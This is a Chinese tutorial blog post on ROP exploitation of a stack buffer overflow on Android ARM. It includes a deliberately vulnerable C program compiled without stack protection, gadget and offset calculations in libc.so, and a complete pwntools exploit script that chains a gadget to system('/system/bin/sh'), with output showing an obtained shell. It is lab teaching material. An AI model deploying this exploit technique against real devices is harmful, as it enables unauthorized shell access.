Android 栈溢出攻击—[3]ROP 浅析

原创 2017年01月03日 10:22:15

在缓冲区溢出攻击攻防发展过程中ROP技术作为对抗XN的利用技术,一直发挥着重要的作用,在很多漏洞中其都是关键的攻击手段。本文通过一个简单的例子来对Android的ARM平台下ROP技术做一个简单的分析。

环境

  • ubuntu 14.04:调试平台

  • AOSP Prebuilt:AOSP仓库包含预编译好的工具链,用里面的GDB来对C程序进行调试。

  • LG Nexus 5:运行C程序的测试机。

代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include<dlfcn.h>

void printsystemaddr()
{
    void* handle = dlopen("libc.so", RTLD_LAZY);
    printf("%p\n",dlsym(handle,"system"));
    fflush(stdout);
}

void mPrint(char* str , int len)
{
    write(STDOUT_FILENO, str, len);

}

void function(char* str) {
    char buf[128];
    strcpy(buf , str);
}

int main(int argc, char** argv) {
    char buf[256];
    printsystemaddr();
    mPrint("stack overflow example !\n", 25);
    read(STDIN_FILENO, buf, 256);
    mPrint("call vulnerable function !\n" , 27);   
    function(buf);
}

同样,在编译程序时通过在Application.mk并加入APP_CFLAGS += -fno-stack-protector选项去掉栈保护防御机制:

APP_ABI := armeabi
APP_CFLAGS += -fno-stack-protector

通过ndk-build编译后推送到手机中准备进行调试,具体过程详见搭建Android系统C程序调试环境

分析

本例中栈溢出漏洞和上一篇的一致,唯一的却别是本例中的程序没有实现运行shell的system函数调用,不能够简单的利用其获得shell,这里不再描述缓冲区溢出细节。本例的利用仍是获取shell,思路是定位进程中libc.so中system函数以及字符串“/system/bin/sh”的位置,并寻找合适的gadget来实现调用system运行shell。

定位system函数和“/system/bin/sh”

虽然,我们的程序编译时默认没有开启ALSR,但程序使用的系统动态链接库会受到ALSR的约束,每次重新启动程序后,libc.so的地址会随机生成。所以,为了简化这里通过printsystemaddr函数来泄漏libc.so中system函数的地址,并根据system的地址来定位字符串“/system/bin/sh”的位置。

这里假设printsystemaddr函数输出到控制台的system函数地址是0xb6edb0e1。通过IDA等工具可以获得libc.so中system函数以及字符串“/system/bin/sh”的相对位置:
这里写图片描述
这里写图片描述
这样就可以计算出程序运行时关键的元素的内存地址:

system_addr = 0xb6edb0e1
#这里注意system_addr是Thumb模式下的地址,而system_bin_sh_addr是ARM模式下的地址
system_bin_sh_addr = system_addr + (0x0003F8AC - 0x000250E0) - 1

寻找gadget

为了调用system函数运行shell,我们需要对栈进行布局来伪造函数调用时的栈帧。因为已经有了system函数和字符串“/system/bin/sh”的地址,我们只需找到一个合适的gadget把“/system/bin/sh”地址保存到R0寄存器即可。

这里使用ROPGadget工具在libc.so中寻找:

root@Tangxx:~/ndk_workspace/study-ROP/level7/jni# ROPgadget --binary=./libc.so --thumb | grep "ldr r0"
...
0x0002df38 : add r2, sp, #4 ; str r0, [r1, #-0x8]! ; movs r0, #0 ; mov r1, sp ; blx #0x210f8 ; cbnz r0, #0x2df5c ; ldr r0, [sp, #4] ; pop {r1, r2, r3, pc}
...

在通过IDA获得指令的相对位置:
这里写图片描述
最后就算得到gadget的运行时位置:

gadget_addr = system_addr + (0x0002DF48- 0x000250E0)

布局栈

有了上述关键的信息的地址后,就可以布局溢出后的栈来模拟调用过程:
这里写图片描述

这里需要注意每次执行gadget后sp的变化。

exp

#!/usr/bin/env python
from pwn import *

#p = process('./level7')
p = remote('127.0.0.1',10001)



system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)

p.recvuntil('\n')

#.text:000250E0                 EXPORT system

#.text:0002DF48 : ldr r0, [sp, #4] ; pop {r1, r2, r3, pc}
gadget_addr = system_addr + (0x0002DF48- 0x000250E0)

#.rodata:0003F8AC aSystemBinSh    DCB "/system/bin/sh"
system_bin_sh_addr = system_addr + (0x0003F8AC - 0x000250E0) - 1

payload =  'A'*132 + p32(gadget_addr) + 'A'*0x4 + p32(system_bin_sh_addr) + 'A'*0x4 + p32(system_addr)

p.send(payload)

p.interactive()

运行利用,

root@Tangxx:~/ndk_workspace/study-ROP/level7/jni# make exp
python /root/ndk_workspace/study-ROP/exp/level7.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
system_addr = 0xb6f880e1
[*] Switching to interactive mode
call vulnerable function !
$ ls
acct
cache
charger
config
d

参考资料

http://drops.wooyun.org/papers/11390


版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

Linux内核实时补丁PREEMPT_RT安装

一、RTPREEMT_RT简介 标准的Linux 内核只能能够满足软中断的要求,为用户空间提供简基本的Posix操作,但是不对固定的时间点做保证。Ingo Molnar's 的实时抢占补丁(文中为:P...

linux 下查看知网caj文件的方法

在linux下不能查看caj文件,有些论文也没提供pdf版本的下载链接,比较影响我们的学习. 所以就有大神做了一些插件,这样我们就可以下载pdf文件了,查看论文就方便多了. 提供两个链接,非常简单...

在linux下查看.caj文档

最近需要写毕业论文,就在学校的知网上下载了几篇.caj的文章,但无法直接用deepin(linux下的一个发行版)的文档查看器打开.在网上找了一种方法,先分享如下: 参考文章:http://www.c...

linux下阅读.caj文件

折腾了半天终于搞定了,在此记下。 1、安装wine apt-get install wine 2、下载CAJViewer6.0绿色精简版本,大小为8M 左右(7.X版本的都不能正常显示,6.0非...

Android ROP利用技术

出发点早期的缓冲区溢出攻击,因为当时终端都未使用ALSR缓解技术,攻击者通常会把“邪恶代码”部署在栈中,劫持PC指针后指向栈中的部署好的代码进行执行。后来为了应对这种缓冲区溢出攻击,操作系统安全厂商开...

Linux 实时性测试和实时补丁

 特别声明:本系列文章LiAnLab.org著作权所有,转载请注明出处。by  @宋宝华Barry  Vanilla kernel的问题 Linux kernel在spinlock、...
  • wzwind
  • wzwind
  • 2016-01-14 14:58
  • 5976

Linux RT(2)-硬实时Linux(RT-Preempt Patch)的中断线程化

底半部:线程化IRQ 线程化中断的支持在2009年已经进入Linux官方内核,详见Thomas Gleixner的patch: http://git.kernel.org/?p=linux/kern...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)